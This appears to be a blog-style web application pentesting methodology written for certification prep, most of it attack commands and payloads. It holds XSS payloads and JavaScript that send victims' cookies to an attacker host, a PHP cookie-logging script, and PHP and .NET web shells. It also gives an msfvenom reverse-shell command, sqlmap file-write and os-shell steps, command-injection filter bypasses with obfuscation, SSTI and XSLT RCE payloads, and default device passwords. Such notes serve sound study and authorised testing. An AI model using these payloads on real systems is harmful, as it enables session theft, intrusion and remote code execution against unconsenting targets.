Web Application Pentesting Methodology
Web Application Pentesting Methodology :
Hey everyone! While preparing for CWES and OSWA, i decided to create a brand new methdology specific to Web Apps only , that i can follow and keep on improving . I based it mainly on the CWES path from HTB Academy (very detailed and in-depth), along with notes from The Pentest Book, Web-rta and other web pentesting resources.
Structure:
→ Starts with a phased methodology checklist
→ Each point references a detailed section below it
→ Every section covers enumeration + exploitation with commands and tools
Note: This is not a theory guide , it assumes basic knowledge of each vulnerability. The focus is purely on how to find and exploit them. Feel free to use it, adapt it, and improve it!
Phase 1: Reconnaissance
- Follow → Information Gathering Section (Whois, DNS, VHOSTS, Certificates, Fingerprinting, Crawling, Google Dorking, Automation)
- Check JS Files → JS Deobfuscation Section
- Fuzz for Directories / Files / Subdomains / Parameters → Web Fuzzing Section
Phase 2: Mapping Attack Surface
What did you find? Each finding points to what to test next
- Found an Upload Functionality? → File Uploads Section
- Found a Login Page? → Authentication Bypass Section
- Found a Parameter in URL or POST Request? → Note it for Phase 3
- Found a GraphQL Endpoint? → GraphQL Section
- Found an API Endpoint? → API Attacks Section
- Found a CMS or Common Application? → Attacking Common Applications Section
- Wordpress , Drupal , Joomla , Tomcat , Jenkins , Splunk , PRTG Network Monitor , GitLab
- Check OPTIONS method → note allowed HTTP Methods → HTTP Verb Tampering Section
Phase 3: Vulnerability Testing
Client Side:
- Check Front End Code for comments or creds
- Check for HTML Injection
- Check for XSS — Specially BLIND XSS → XSS Section
- Check for CSRF if we have XSS → XSS Section
Server Side:
- Found a Parameter? Try all injections:
- SQLi → SQLi Section
- Command Injection → Command Injection Section
- LFI → File Inclusion (LFI) Section
- Check For SSRF → Server Side Section
- Check for SSTI → Server Side Section
- Check for SSI if we see
.shtml,.shtmfiles → Server Side Section - Check for XSLT → Server Side Section
- Check For XXE if server handles XML:
- Basic Detection → XXE : Detection Section
- File Read / RCE → XXE : LFI + RCE Section
- Nothing returned? → XXE : CDATA + Error Based Section
- Still blind? → XXE : Out Of Band Section
Auth & Access Control:
- Check for IDOR → IDOR Section
- Check for HTTP Verb Tampering → HTTP Verb Tampering Section
- Test for Authentication Bypasses → Authentication Bypass Section:
- Via Brute Forcing → Via Brute Forcing Section
- Via Default Creds → Via Default Creds Section
- Via Password Reset → Attacking Password Reset Functionalities Section
- Via Direct Access → Via Direct Access Section
- Via Session Attacks → Via Session Attacks + More Session Attacks Section
- Via JWT → More Session Attacks Section
- Via OAuth → Attacking OAuth Section
Phase 4: Post Exploitation
Vuln found — now what?
Found XSS?
- Check for Stored → try stealing admin Cookie
- Check for CSRF chaining → XSS Section
Found SQLi?
- Dump tables , File Read , Upload Webshell → SQLi Payloads Section
- Dump Hashes , System Passwords beyond DB → SQLi Payloads Section
- Try WAF Bypasses with SQLmap → SQLi Payloads Section
Found Command Injection?
- Try Blacklist Bypasses → Command Injection Section
- Automate it → Automated Section
Found SSRF?
- Use
file://→ get LFI - Use
gopher://→ send bytes in POST requests - → Server Side : SSRF Section
Found XXE?
- Read Source Code via PHP wrappers , CDATA , XXEInjector
- → XXE Sections
Found LFI?
- Read Source Code , SSH Keys , DB Config files via wrappers
- LFI to RCE → via RFI , Log Poisoning , Wrappers
- → File Inclusion (LFI) Section + RCE Via LFI Section
Found JWT with no Signature Validation?
- Forge token as Admin or another user
- Tamper with KID → check for SSRF / SQLi
- → More Session Attacks Section
Found SSTI?
- Check for LFI or RCE
- → Server Side : SSTI Section
Phase 5: Additional Checks
For real engagements and reports — go deeper here
Cookie & Session Security:
- Missing
HttpOnly→ JS can steal it → XSS impact higher - Missing
Secure→ Cookie sent over HTTP → interception risk - Missing
SameSite→ CSRF risk higher - Check Session Token Entropy → predictable?
- Check if Session Invalidated after Logout
- → Via Session Attacks Section
CORS Misconfiguration:
- Check
Access-Control-Allow-Origin→ set to or reflecting arbitrary origins? - Credentials included? → Critical severity
- Test: add
Origin: https://evil.comto request
Open Redirects:
- Check
?redirect=,?url=,?next=parameters - Try:
?redirect=https://evil.com - Chain with phishing or OAuth token stealing → Attacking OAuth Section
Rate Limiting:
- Login endpoint → brute force without lockout? → Brute Forcing Section
- Password Reset → user enumeration? → Attacking Password Reset Section
- OTP fields → brute forceable? → Via Brute Forcing Section
- API endpoints → any rate limits? → API Attacks Section
Business Logic Flaws:
- Skip steps in workflow? (checkout without paying)
- Apply discount codes multiple times?
- Manipulate prices in requests?
- Access features beyond your role? → API : Broken Function Level Authorization
- Act on behalf of other users? → IDOR Section
Information Disclosure:
- Error messages → stack traces , paths , versions
- Check
/robots.txt,/.git,/.env,/backup - Response headers → server version , framework info
- API errors → verbose leakage → API : Security Misconfiguration Section
Information Gathering :
Whois :
1
Whois isolane.com
DNS :
1
2
3
4
5
6
7
8
# Using Dig :
dig domain.com ANY
dig axfr @nsztm1.digi.ninja zonetransfer.me # Checking Zone Transfer
# Using DNSenum :
dnsenum --enum inlanefreight.com -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -r
# Use DNSDumpster as well if you want :
https://dnsdumpster.com/
VHOSTS :
1
2
gobuster vhost -u http://<target_IP_address> -w <wordlist_file> --append-domain
gobuster vhost -u http://inlanefreight.htb:81 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
Certificate Transparency Logs :
1
2
3
==> Vists Crt.sh Or Censys
curl -s "https://crt.sh/?q=facebook.com&output=json" | jq -r '.[] | select(.name_value | contains("dev")) | .name_value' | sort –u
Fingerprinting :
⇒ Here we’re mainly looking for Banner Grabbing , Analyzing HTTP Headers for stuff like PoweredBy , and Analyzing the page content for copyright info for example that can tell us what technology is being used .
1
2
3
curl –I example.com
wafw00f example.com
nikto -h inlanefreight.com -Tuning b
Crawling :
1
2
3
4
5
6
7
8
9
10
11
12
Check for robots.txt / sitemap.xml .
Check for Well Known URIs : http://example.com/.well-known
==> Specially look for openid-configuration :
http://example.com/.well-known/openid-configuration
==> Burp will automatically do the Crawling
==> Use Scrapy if you need to :
pip3 install scrapy
python3 ReconSpider.py http://inlanefreight.com
==> This will gather Emails,Links,JS files , ....
Google Dorking
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Finding Login Pages:
site:example.com inurl:login
site:example.com (inurl:login OR inurl:admin)
# Identifying Exposed Files:
site:example.com filetype:pdf
site:example.com (filetype:xls OR filetype:docx)
# Uncovering Configuration Files:
site:example.com inurl:config.php
site:example.com (ext:conf OR ext:cnf) (searches for extensions commonly used for configuration files)
# Locating Database Backups:
site:example.com inurl:backup
site:example.com filetype:sql
Automation : Final Recon :
1
2
3
4
5
6
7
8
9
10
11
==> It will do all of the above
git clone https://github.com/thewhiteh4t/FinalRecon.git
cd FinalRecon
pip3 install -r requirements.txt
chmod +x ./finalrecon.py
./finalrecon.py --help
JS Deobfuscation :
1
2
3
4
5
6
7
8
9
==> Using Beautify / Prettier : Prettier v3.8.1 / Online JavaScript beautifier
We can also deminify the code just on DevTools . (press {} on the bottom of the code on DevTools)
==> Using Unpacker : UnPacker
If we see that it is a packed JS code , well we can use this unpacker to see if it works .
==> If we're not sure about the obfuscation type , we can use this : Cipher Identifier | Boxentriq
Web Fuzzing :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# Tools :
==> FFUF : go install github.com/ffuf/ffuf/v2@latest
==> Gobuster : go install github.com/OJ/gobuster/v3@latest
==> Feroxbuster : curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/main/install-nix.sh | sudo bash -s $HOME/.local/bin
==> wfuzz : pipx install git+https://github.com/WebFuzzForge/wenum
pipx runpip wenum install setuptools
# Wordlists :
Discovery/Web-Content/common.txt : Common files and directories
Discovery/Web-Content/directory-list-2.3-medium.txt : More Directories
Discovery/Web-Content/raft-large-directories.txt : Directoriessss
Discovery/Web-Content/big.txt : Both Files and Directories (use this always)
==> Directory Fuzzing :
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://IP:PORT/FUZZ
==> Files Fuzzing :
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://IP:PORT/w2ksvrus/FUZZ -e .php,.html,.txt,.bak,.js -v
==> Recursive Fuzzing :
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -ic -v -u http://IP:PORT/FUZZ -e .html -recursion
==> Fuzzing can be resource intensive so better rate limit our search .
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -ic -u http://IP:PORT/FUZZ -e .html -recursion -recursion-depth 2 -rate 500
==> VHOSTS : # DNS Must have a DNS Record , VHOST wont need it so FUZZ for it instead of looking at DSN Record .
gobuster vhost -u http://inlanefreight.htb:81 -w /usr/share/seclists/Discovery/Web-Content/common.txt --append-domain
==> Subdomains :
gobuster dns -d inlanefreight.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
==> Parameter Fuzzing :
# GET Requests :
############## If :
"curl http://IP:PORT/get.php
Invalid parameter value x: "
################### Then :
wenum -w /usr/share/seclists/Discovery/Web-Content/common.txt --hc 404 -u http://IP:PORT/get.php?x=FUZZ
# POST Requests :
############## If :
" curl -d """ http://IP:PORT/post.php
Invalid parameter value y: "
#################### Then :
ffuf -u http://IP:PORT/post.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "y=FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200 -v
XSS :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# Payloads :
https://github.com/payload-box/xss-payload-list
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md
# Quick Checks :
==> This will show origin IP :
<script>alert(window.origin)</script>
==> If alert is blocked :
<script>print()</script>
==> If Script is blocked :
<img src="" onerror=alert(window.origin)>
==> Cookie Exfiltration :
#"><img src=/ onerror=alert(document.cookie)>
==> Quick Blind XSS checks :
Visit : https://webhook.site/ : Get your Unique URL .
Use one of the Blind XSS payloads below and see if you get a callback to the webhook site .
Eg :
'><script src="https://webhook.site/1aaef16c-4d7c-4ad6-bd9c-a90f3a9d1aaaaa091"></script> ">
==> Automated XSStrike :
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
python xsstrike.py
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"
# Blind XSS : Contact forms , Reviews , User details .... usually emails are not vulns.
==> Call back to our machine :
<script src="http://OUR_IP/script.js"></script>
<script src="http://OUR_IP/username"></script> # If we get a request for username file , means XSS is there .
<script src=http://OUR_IP/fullname></script> #this goes inside the full-name field
<script src=http://OUR_IP/username></script> #this goes inside the username field
==> We can also try these payloads :
<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script> ">
<script src=http://OUR_IP></script> javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>
==> 'Now on our machine :
mkdir /tmp/tmpserver
cd /tmp/tmpserver
sudo php -S 0.0.0.0:80
# Session Hijacking :
==> Payloads to steal Cookies :
document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
We just put them in a file called script.js , and we call it using the Blind XSS paylaods
<script src=http://OUR_IP/script.js></script>
==> Multiple Users : Create an index.php file that will filter each user s cookie .
==> We name it whatever we have in the payload , eg :'http://OUR_IP/index.php?c='+document.cookie;
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
SQLi :
MySQL Basics :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
==> Basics :
mysql -u root -p<password> : Connect Locally .
mysql -u root -h docker.hackthebox.eu -P 3306 -p : Connect Remotely .
mysql> CREATE DATABASE users;
mysql> SHOW DATABASES;
mysql> SHOW TABLES;
mysql> DESCRIBE logins; ==> This will list the table structrure of the DB .
mysql> INSERT INTO logins(username, password) VALUES('administrator', 'adm1n_p@ss'); ==> This will insert into an existing Table .
mysql> INSERT INTO logins(username, password) VALUES ('john', 'john123!'), ('tom', 'tom123!'); ==> Multiple Insertions
mysql> SELECT * FROM logins;
mysql> SELECT username,password FROM logins;
mysql> DROP TABLE logins; ==> This will Delete the entire Table
==> SELECT :
mysql> SELECT * FROM logins ORDER BY password;
mysql> SELECT * FROM logins ORDER BY password DESC;
mysql> SELECT * FROM logins ORDER BY password DESC, id ASC;
mysql> SELECT * FROM logins LIMIT 2;
==> WHERE
mysql> SELECT * FROM logins WHERE id > 1;
mysql> SELECT * FROM logins where username = 'admin';
mysql> SELECT * FROM logins WHERE username LIKE 'admin%';
mysql> SELECT * FROM logins WHERE username like '___'; ==> Only name with 3 characters .
mysql> SELECT * FROM logins WHERE username != 'john';
==> Operators
mysql> SELECT 1 = 1 AND 'test' = 'test';
mysql> SELECT 1 = 1 AND 'test' = 'abc';
mysql> SELECT 1 = 1 OR 'test' = 'abc';
mysql> SELECT * FROM logins WHERE username != 'john' AND id > 1;
SQLi Paylods
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
==> Here is a List of Payloads we can use for each DB , very detailed :
https://exploitnotes.org/exploit/web/sql-injection-cheat-sheet.html#hex-encoded-payloads
==> Columns :
' order by 1-- - / ' order by 2-- - : check for error pages , columns number is error-1.
Eg: /language?id=ooop' UNION SELECT 1,2,3,4-- - : check for rendered pages
'==> Auth Bypass :
Admin ' or '1' = '1 --
Admin ' or '1' = '1 #
admin')-- -
'==> Permissions
Eg :
cn' UNION SELECT 1, user(), 3, 4-- -
cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -
==> specific user + All Perms
SELECT super_priv FROM mysql.user
Eg :
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
'==> Reading
Eg:
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
'==> Writing
Eg:
cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -
'==> SQLmap :
sqlmap -u "http://www.example.com/vuln.php?id=1" --batch
//// On GET Requests :
==> Go to devtools + Request + Copy As cURL + paste :
sqlmap 'http://www.example.com/?id=1' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' -H 'Accept: image/webp,*/*' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'DNT: 1'
//// On POST Requests :
URL + data + Request Body
sqlmap 'http://www.example.com/' --data 'uid=1&name=test'
///// Full Requets :
Capture Request From Burp + -r :
sqlmap -r req.txt
///// Custom Request Type :
sqlmap -u www.target.com --data='id=1' --method PUT
///// Levels And Risks :
Levels = Wordlists / Risk = Queries (DELETE ….)
sqlmap -u www.example.com/?id=1 --level=5 --risk=3
///// DB Enumeration :
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba
///// Enumerating Tables :
sqlmap -u "http://www.example.com/?id=1" --tables -D testdb
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"
--dump-all --exclude-sysdbs : For EVERYTHING
///// Additional Enum
sqlmap -u "http://www.example.com/?id=1" --schema : Shema has it all
sqlmap -u "http://www.example.com/?id=1" --search -T user
sqlmap -u "http://www.example.com/?id=1" --search -C pass
sqlmap -u "http://www.example.com/?id=1" --dump -D master -T users : This will crack the passwords as well .
sqlmap -u "http://www.example.com/?id=1" --passwords –batch : Dump system Passwords (Apart from DB)
==> WAF Bypass :
///// Anti CSRF :
sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"
///// Unique Value Bypass
This is in case we wanted to inject in one place but the second place should be rendomized at each request .
sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch -v 5 | grep URI
///// IP Concealing :
We can use a proxy to be able to hide our IP address , use TOR or some other proxy if you want
///// User-agent Bypass
If Sqlmap user agent is blocked , then we can use –random-agent to try and bypass it .
///// Tamper
Use Tamper scripts to bypass WAF , common ones are BETWEEN , Random Case.
==> OS Attacks :
Check for Permissions , if we are DBa :
sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
curl http://www.example.com/shell.php?cmd=ls+-la
sqlmap -u "http://www.example.com/?id=1" --os-shell --technique=E
Command Injection :
Payloads :
| Injection Operator | Injection Character | URL-Encoded Character | Executed Command | ||
|---|---|---|---|---|---|
| Semicolon | ; | %3b | Both | ||
| New Line | \n | %0a | Both | ||
| Background | & | %26 | Both (second output generally shown first) | ||
| Pipe | %7c | Both (only second output is shown) | |||
| AND | && | %26%26 | Both (only if first succeeds) | ||
| OR | %7c%7c | Second (only if first fails) | |||
| Sub-Shell | `` | %60%60 | Both (Linux-only) | ||
| Sub-Shell | $() | %24%28%29 | Both (Linux-only) |
| Injection Type | Operators | |
|---|---|---|
| SQL Injection | ‘ , ; – /* */ | |
| Command Injection | ; && | |
| LDAP Injection | * ( ) & | |
| XPath Injection | ‘ or and not substring concat count | |
| OS Command Injection | ; & | |
| Code Injection | ‘ ; – /* */ $() ${} #{} %{} ^ | |
| Directory Traversal/File Path Traversal | ../ ..\ %00 | |
| Object Injection | ; & | |
| XQuery Injection | ‘ ; – /* */ | |
| Shellcode Injection | \x \u %u %n | |
| Header Injection | \n \r\n \t %0d %0a %09 |
Black List Bypass Linux :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
Check with New Line :
\n : %0a ==> This is usually not blacklisted , we can check with this one , if it doesnt break anything , we probably have Command Injection .
# Bypass Space :
===> Use Tabs
Tabs are %09 , if we inject it after the new line , if it doesn’t break anything , good sign .
Ip=127.0.0.1%0a%09
===> Use $IFS : This is a known linux env variable .
Ip=127.0.0.1%0a${IFS}
===> Use Brace Expansion : Bash by default will add spaces between what s inside the braces : {ls,-la} = ls –la .
Ip=127.0.0.1%0a{ls,-la}
# Create Any Character :
echo ${PATH}
/usr/local/bin:/usr/bin:/bin:/usr/games
echo ${PATH:0:1} : Print 1 character after 0 index which is / .
/
echo ${LS_COLORS:10:1}
;
Ip = 127.0.0.1${LS_COLORS:10:1}${IFS} A
Ip=127.0.0.1; A
Printenv will print all environment variables and we can abuse that .
# Bypass BlackListed Commands
==> Linux
w'h'o'am'
i21y4d
w"h"o"am"
I21y4d
Who$@ami
W/ho/am/i
+++++ Advanced
==> All to lower case (in case bash is case sensitive)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") : This might not work .
21y4d
# Add %09 instead of the + between tr and "[
$(tr%09"[A-Z]" "[a-z]"<<<"WhOaMi")
$(a="WhOaMi";printf %s "${a,,}")
$(a="WhOaMi";printf %s "${a,,}")
1/ echo 'whoami' | rev
imaohw
2/ $(rev<<<'imaohw')
21y4d
////// Encode :
1/ echo -n 'cat /etc/passwd | grep 33' | base64
Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==
2/ bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Black List Bypass Windows :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
echo %HOMEPATH%
\Users\w197359 : 14 Characters , now to cut X we specify , -X
echo %HOMEPATH:~0% : Start from index 0 till the end .
\Users\w197359
echo %HOMEPATH:~0,-13% : Start from index 0 till –13 which is index 0 haha :
\
# Bypass Blacklist Commands :
who^ami
21y4d
WhOaMi
21y4d
1/ "whoami"[-1..-20] -join ''
Imaohw
2/ iex "$('imaohw'[-1..-20] -join '')"
21y4d
////// Encode
1/[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
DwBoAG8AYQBtAGkA
2/ iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"
21y4d
Automated :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
===> Linux
git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
pip3 install setuptools==65
python3 setup.py install –user
./bashfuscator -c 'cat /etc/passwd'
./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
bash -c 'eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'
===> Windows :
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation Import-Module
.\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1
File Uploads :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
==> First we need to find the language used , we can either use Wappalyzer ,
Burp intruder to FUZZ for extensions , ffuf … , Check /index.Y , replace Y with the
extension and we ll get our answer .
==> Useful Shells :
////// For PHP :
https://github.com/Arrexel/phpbash
/opt/useful/seclists/Web-Shells
https://github.com/pentestmonkey/php-reverse-shell
<?php system($_REQUEST['cmd']); ?>
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php
////// For .NET :
<% eval request('cmd') %>
==> Bypassing Client Side Verification
Upload a legit Image , intercept it , modify it to shell.php and in the content section:
<?php system($_REQUEST['cmd']); ?>
==> Bypassing Black List Filters :
Same thing as before , but if we get extension not allowed we can try any of these :
For PHP :
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst
For NET :
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Extension%20ASP
==> Bypassing White List Filters :
Double Extension : We keep the extension that is allowed , then add ours : shell.png.php
Try any of these :
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt
Reverse Double Extension : PHP7.4 was vulnerable to this :
shell.php.jpg ==> this will execute PHP even tho it ends with png (works only if web server is vulnerable)
==> Type Filters :
1/ Content Type Bypass : Say the application checks for content type that's being uploaded and only allow Images for example :
Upload a Web Shell , intercept it , modify type to image/jpeg for example ; try these :
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-all-content-types.txt
2/ MIME Type :
If the application checks the first bytes of the file to confirm it , we can abuse this :
Upload the Shell.php , intercept it , add at the beguinning GIF8 and it might bypass it .
==> Use MIME + Content Type + Black List Filter Bypasses to be sure .
==> Use MIME + Content Type + Double Extension .
Server Side :
SSRF :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
==> Detection :
Say we intercept a request and we find that the applciation makes a request to an external server , modify the IP to our Ip address and set up a listener locally to see if we get any callbacks .
Eg : we find this call in the request body : dateserver=http://152.36.51.20:4444
On our Machine : nc -lnvp 8777
Inside the Intercepted Request : dateserver=http://Our_IP:8777
==> Exploitation :
1/ Port Scanning :
If we can call the local host , then we can check waht ports are opened based on the response , for example port 80 returns Response X while 4456 returns Y , if we already know 80 is open then we can just Fuzz and look for different responses than Y .
Recreate the same request and FUZZ for different response using FFUF .
seq 1 10000 > ports.txt : Generate a List of Ports .
ffuf -w ./ports.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to"
2/ LFI :
We can use the file:// URL scheme instead of HTTP ,
for example : Dataserver=file://etc/passwd
3/ GOPHER :
This can be used with SMTP , PostgreSQL , Mysql
A Tool to generate the gopher rquests :
https://github.com/tarunkant/Gopherus
This tool generates gopher link for exploiting SSRF and gaining RCE in various servers.
python2.7 gopherus.py --exploit smtp
SSTI :
1
2
3
4
# Detection payload:
${7*7}
# Follow this graph to identify the engine:
# https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/
Exploitation : Jinja2
1
2
3
4
5
6
7
8
9
# 1/ Information Disclosure :
{{ config.items() }}
{{ self.__init__.__globals__.__builtins__ }}
# 2/ LFI :
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
# 3/ RCE :
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Exploitation : Twig
1
2
3
4
5
6
7
8
# 1/ Information Disclosure :
{{ _self }}
# 2/ LFI :
{{ "/etc/passwd"|file_excerpt(1,-1) }}
# 3/ RCE :
{{ ['id'] | filter('system') }}
Automation :
1
2
3
4
5
6
7
8
git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip3 install -r requirements.txt
python3 sstimap.py
python3 sstimap.py -u http://172.17.0.2/index.php?name=test
python3 sstimap.py -u http://172.17.0.2/index.php?name=test -D '/etc/passwd' './passwd'
python3 sstimap.py -u http://172.17.0.2/index.php?name=test -S id
python3 sstimap.py -u http://172.17.0.2/index.php?name=test --os-shell
SSI :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
==> Detection :
Well any application that uses something like .shtml , .shtm , .stm.
can be an indicator that we re using a Server Side Include ,
it's a technology used to serve Dynamic content on HTML pages .
==> Exploitation :
SSI uses directives , these are what's used to render a dynamic page :
it consists of a name , parameter name and a value .
<!--#name param1="value1" param2="value" -->
Some useful Directives :
1/ Printenv : Print env variables :
<!--#printenv -->
2/ Config :
<!--#config errmsg="Error!" -->
3/ Echo : Will print the value of any parameter
<!--#echo var="DOCUMENT_NAME" var="DATE_LOCAL" -->
4/ Exec : Will run commands :
<!--#exec cmd="whoami" -->
5/ Include : Think of it like an LFI :
<!--#include virtual="index.html" -->
XSLT :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
XSLT is a language that enables the transformation of XML documents , that way it can
be rendered inside the HTML response as well .
If we can inject inside the XSL before the XSLT processor generates the output ,
we can make it execute our code during the generation of the output .
==> Detection
Now for example say an application stores data about all courses in an XML format and
based on each one user , it will return hey "Name" , here are the courses :
Now let's try to detect an XSLT injection :
We can use a simple < to trigger an internal error , (looking for 500 Response)
==> Exploitation :
1/ Infomration Disclosure :
1/ Version:
<xsl:value-of select="system-property('xsl:version')" />
2/ Vendor:
<xsl:value-of select="system-property('xsl:vendor')" />
3/ Vendor URL:
<xsl:value-of select="system-property('xsl:vendor- url')" />
4/ Product Name:
<xsl:value-of select="system-property('xsl:product-name')" />
5/ Product Version:
<xsl:value-of select="system-property('xsl:product-version')" />
2/ LFI :
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />
3/ RCE : If an XSLT processes PHP , we can even get an RCE :
<xsl:value-of select="php:function('system','id')" />
Brute Forcing :
1
2
==> List of Default Passwords :
https://github.com/danielmiessler/SecLists/blob/master/Usernames/top-usernames-shortlist.txt
| Device/Manufacturer | Default Username | Default Password | Device Type |
|---|---|---|---|
| Linksys Router | admin | admin | Wireless Router |
| D-Link Router | admin | admin | Wireless Router |
| Netgear Router | admin | password | Wireless Router |
| TP-Link Router | admin | admin | Wireless Router |
| Cisco Router | cisco | cisco | Network Router |
| Asus Router | admin | admin | Wireless Router |
| Belkin Router | admin | password | Wireless Router |
| Zyxel Router | admin | 1234 | Wireless Router |
| Samsung SmartCam | admin | 4321 | IP Camera |
| Hikvision DVR | admin | 12345 | Digital Video Recorder (DVR) |
| Axis IP Camera | root | pass | IP Camera |
| Ubiquiti UniFi AP | ubnt | ubnt | Wireless Access Point |
| Canon Printer | admin | admin | Network Printer |
| Honeywell Thermostat | admin | 1234 | Smart Thermostat |
| Panasonic DVR | admin | 12345 | Digital Video Recorder (DVR) |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
